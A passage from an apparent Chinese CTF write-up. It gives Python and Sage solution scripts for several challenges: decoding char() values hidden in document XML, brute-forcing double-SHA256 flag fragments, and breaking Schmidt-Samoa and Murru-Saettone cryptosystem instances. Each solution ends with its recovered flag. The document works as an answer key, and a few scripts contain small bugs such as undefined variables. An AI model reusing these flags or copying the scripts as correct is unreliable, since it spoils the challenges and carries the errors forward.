xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="13" name="Picture 13" descr="char(89)"/><pic:cNvPicPr><a:picLocks noChangeAspect="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId13"/><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="190500" cy="476250"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:inline></w:drawing></w:r><w:r><w:rPr><w:rFonts w:hint="default"/><w:lang w:val="en-US"/></w:rPr><w:t>}'''
import re
# 正则表达式匹配模式
pattern = r"char\((\d+)\)"

# 使用 re.findall 匹配所有符合模式的字符串
matches = re.findall(pattern, data)

# 输出匹配结果
for m in matches:
    print(chr(int(m)), end='')
    # BIRDISLOVELY

发现双写了，进行去重，大写提交失败，尝试小写提交，成功
flag{birdislovely}

dirty_flag

double hash进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import hashlib

def hash(t): return hashlib.sha256(t.encode()).hexdigest()

def hashhash(x):
    return hash(hash(x))

table = "0123456789abcdef"
data = ["41a5f7781dc69308b187e24924e0a0a337cdcc36f06b736dd99810eda7bb867b",
        "a64cd974e0dbd6f6a289ebd2080ffb6e8ac47f794e02cde4db2239c42f63b6ba",
        "e813a50278e41a5ea532c95f99ab616d4ec1ffabad99e1c8fde23886bb600005",
        "8d4bd8d58ddd11cea747d874e676582bb219b065b2989d96b566f0689a3aaff5",
        "e477515e963dc46294e815f9b1887541d225f4b027a7129608302ba8d07faef2"]

def bk4(d):
    for c1 in table:
        for c2 in table:
            for c3 in table:
                for c4 in table:
                    if hashhash(c1 + c2 + c3 + c4) == d:
                        return c1 + c2 + c3 + c4

for c1 in table:
    for c2 in table:
        for c3 in table:
            for c4 in table:
                for c5 in table:
                    for c6 in table:
                        if hashhash("flag{09" + c1 + c2 + c3 + c4 + c5 + c6) == data[0]:
                            print("flag{09" + c1 + c2 + c3 + c4 + c5 + c6)
                            break

for d in data2:
    if f := bk4(d):
        print(f)

for c1 in table:
    for c2 in table:
        for c3 in table:
            for c4 in table:
                for c5 in table:
                    for c6 in table:
                        if hashhash(c1 + c2 + c3 + c4 + c5 + c6 + "755ca2}") == data[4]:
                            print(c1 + c2 + c3 + c4 + c5 + c6 + "755ca2}")
                            break

# flag{09806994-5a04-45ef-bde0-c69658755ca2}

flag{09806994-5a04-45ef-bde0-c69658755ca2}

twice

part2是一个Schmidt-Samoa密码系统，即可分解得p，求得c1，此后就是一个欧拉分解问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from gmpy2 import *
from Crypto.Util.number import *
c2= 7090659117351297531755883438960933877263181849815568437232708639999747137583085680350909771730266998763362206865224473283130982570816918537377058225538656521223617210560656370841094169187300346437355127376920626133248983100115455529533265136725274741407727211587363755394889303944789720637515498330115070515942678821608630620272575086220037432383957991049220528177053370450234486390431027269543481157974773863005279984438957464388749795275109730696430700744950555993640720758137888948464005039907816169108829675809911658280616090368129767282407708640291466242813209343944276906740181222776418701978734705056220412984
pub= 15393634704241437811571407047965218207529278849238950329420499882359515149154462592674433680412129087082275102567406550543503710118161775213536183656910892279726520148202227312448507629264239427121015706092403872586978266402316447553116208411724407465368711586887621447872002364407809592953543797319646692321612541334341183378900324146713189121105760280994702695266049904020810024990537652609099294535255399210219454610583930829883737909993183476961897889084229322415995483397484414924734020539093114397393070394929656598174957126771887906087335882580049097369036955153036983424389092042285637185882327630117320615769
pri= 424184707992085368727036634979681060339188016631126395371395132791009626692092220877797321952063158959159298372653275672949543326347146732580465753892335912633332743258010037527036987474957662424735475674152462914082526658466925646224968182493094690460023505421720259663381122409147914948696061450626153526908753546708693503710352787787701648821693599138777500334149879355898444355846028142814267511986218166066642222930494985736426837825122392760739011897554697
N=pub
d=pri
pq = gcd(pow(2,d*N,N)-2,N)
print(pq)
print(isPrime(pq))
print(N//pq)
print(isPrime(11568115523770241283014205836742530054306019163814454744901838687283694886517929951237863476145584478470559474432242227944198744343287840651037780447792423))
c=pow(c2,d,pq)
print(long_to_bytes(c))
print(bytes_to_long(b'\t\x87@P\xec\x85|^CNj\xadL\xa5\xe98\xee\x89g\xb1\x07\xedQ8$x/F\xf7\x01\x04P;\x86\xb8\xb0(L\xf8B\xb2\xf0\xb4&\xa1&\xef\x85\x87X\xce.\xf2\xa9\x83m"\xd7|\x1c9-\x1fx\x9f\xcd\x80\x9e\xe0\x88\x8b\x1e-\xbb\xbbX\xd1X\x9b\xc9\xec\x1b\x00\xfc\xd0\x19\xee\xcdt\xa3\xc5\x8b\xbe\x84h\xcf\xe7A4D\xcdK\xa6\xb0\xd01\xcc\xed:\xc0\x88\x1a\xcf\tzb\xcc\x0e\x81^\xf8\xa2}\xbcmn\xc11'))
c=6691017454537973459916766225986127089265667834308461228246818094176737181286904907109719141581143793245175303466918139030005490098361730749738872021616055112021648681447925744991355487138607374460097043104612880977136184245719389209859293127922873464772879478077826669339105617364491479707870369683694600497
n= 87665217778729524993118310155129480311708534438704150676980835344891979982717119161254489670350577173938239682286759779547789055360697960379769693294306641200724257991678505629369338313581657539655057636732714452287023658150014746541718058750871927050204352584824130972892779877896415568548748364583880371427
a0= 9362970563807702423162361787386216886594085863490420184497563324865248429693287404341206766515622648778272030443641712923250846610046357375553046092690266
a1= 9362970563807702423162361745963275441706212437133735476965289880825874017106479792816846422940594285630367772490647779230476318907092613021181772527068514
b0= 74836747076024432741470938222753940689278814091833170112470104078475118700897724833941621360216319460657128947837095907483
b1= 93520964011413593176393772179429258741894666938448164504029535235899813670669478849381259720656022408302270582527720184427
p=gcd(n,a0*b1-a1*b0)
print(isPrime(p))
assert n%p==0
q=n//p
phi=(p-1)*(q-1)
e=(a1**2-a0**2)//(b0**2-b1**2)
print(gcd(e,phi))
d=invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

RSA_like

此题为Murru-Saettone cryptosystem密码系统，找到论文及脚本求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from Crypto.Util.number import *

N = 114781991564695173994066362186630636631937111385436035031097837827163753810654819119927257768699803252811579701459939909509965376208806596284108155137341543805767090485822262566517029632602553357332822459669677106313003586646066752317008081277334467604607046796105900932500985260487527851613175058091414460877
e = 4252707129612455400077547671486229156329543843675524140708995426985599183439567733039581012763585270550049944715779511394499964854645012746614177337614886054763964565839336443832983455846528585523462518802555536802594166454429110047032691454297949450587850809687599476122187433573715976066881478401916063473308325095039574489857662732559654949752850057692347414951137978997427228231149724523520273757943185561362572823653225670527032278760106476992815628459809572258318865100521992131874267994581991743530813080493191784465659734969133910502224179264436982151420592321568780882596437396523808702246702229845144256038

P.<x, y> = PolynomialRing(ZZ)

m = 4
t = 2
X = int(N ^ 0.4)
Y = 3 * int(N ^ 0.5)

a = N + 1
b = N^2 - N + 1

f = x * (y^2 + a * y + b) + 1

gs = []

for k in range(m + 1):
    for i in range(k, m + 1):
        for j in range(2 * k, 2 * k + 2):
            g = x^(i - k) * y^(j - 2 * k) * f^k * e^(m - k)
            gs.append((i, j, k, g))
    i = k
    for j in range(2 * k + 2, 2 * k + t + 1):
        g = x^(i - k) * y^(j - 2 * k) * f^k * e^(m - k)    
        gs.append((i, j, k, g))

gs.sort()

monomials = []
for tup in gs:
    for v in tup[-1].monomials():
        if v not in monomials:
            monomials.append(v)

mat = [[0 for j in range(len(monomials))] for i in range(len(gs))]

for i, tup in enumerate(gs):
    for j, mono in enumerate(monomials):
        mat[i][j] = tup[-1].monomial_coefficient(mono) * mono(X, Y)

mat = Matrix(ZZ, mat)
mat = mat.LLL()

pols = []

for i in range(len(gs)):
    f = sum(mat[i, k] * monomials[k] / monomials[k](X, Y) for k in range(len(monomials)))
    pols.append(f)

found = False

for i in range(len(gs)):
    for j in range(i + 1, len(gs)):
        f1, f2 = pols[i], pols[j]

        rr = f1.resultant(f2)
        if rr.is_zero() or rr.monomials() == [1]:
            continue
        else:
            try:
                PR.<q> = PolynomialRing(ZZ)
                rr = rr(q, q)
                soly = int(rr.roots()[0][0])
                ss = f1(q, soly)
                solx = int(ss.roots()[0][0])

                print(i, j)
                print(solx, soly)
                assert f1(solx, soly) == 0
                assert f2(solx, soly) == 0

                found = True
            except:
                pass
        if found:
            break
    if found:
        break

b, c = soly, N
Dsqrt = int(sqrt(b^2 - 4*c))
p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2
assert p * q == N

phi = (p**2 + p + 1) * (q**2 + q + 1)
d = inverse(e, phi)

def add(P, Q, mod):
    m, n = P
    p, q = Q

    if p is None:
        return P
    if m is None:
        return Q
    
    if n is None and q is None:
        x = m * p % mod
        y = m + p % mod
        return (x, y)
    
    if n is None and q is not None:
        m, n, p, q = p, q, m, n
    
    if q is None:
        if (n + p) % mod != 0:
            x = (m * p + 2) * inverse(n + p, mod) % mod
            y = (m + n * p) * inverse(n + p, mod) % mod
            return (x, y)
        elif (m - n**2) % mod != 0:
            x = (m * p + 2) * inverse(m - n**2, mod) % mod
            return (x, None)
        else:
            return (None, None)
    else:
        if (m + p + n * q) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod
            y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod
            return (x, y)
        elif (n * p + m * q + 2) % mod != 0:
            x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod
            return (x, None)
        else:
            return (None, None)

def power(P, a, mod):
    res = (None, None)
    t = P
    while a > 0:
        if a % 2:
            res = add(res, t, mod)
        t = add(t, t, mod)
        a >>= 1
    return res

E=(59282499553838316432691001891921033515315025114685250219906437644264440827997741343171803974602058233277848973328180318352570312740262258438252414801098965814698201675567932045635088203459793209871900350581051996552631325720003705220037322374626101824017580528639787490427645328264141848729305880071595656587, 73124265428189389088435735629069413880514503984706872237658630813049233933431869108871528700933941480506237197225068288941508865436937318043959783326445793394371160903683570431106498362876050111696265332556913459023064169488535543256569591357696914320606694493972510221459754090751751402459947788989410441472)

M = power(E, d, N)
print(M)
for ln in range(20,80):
    print(long_to_bytes(M[0])[: ln // 2] + long_to_bytes(M[1])[:ln - ln // 2])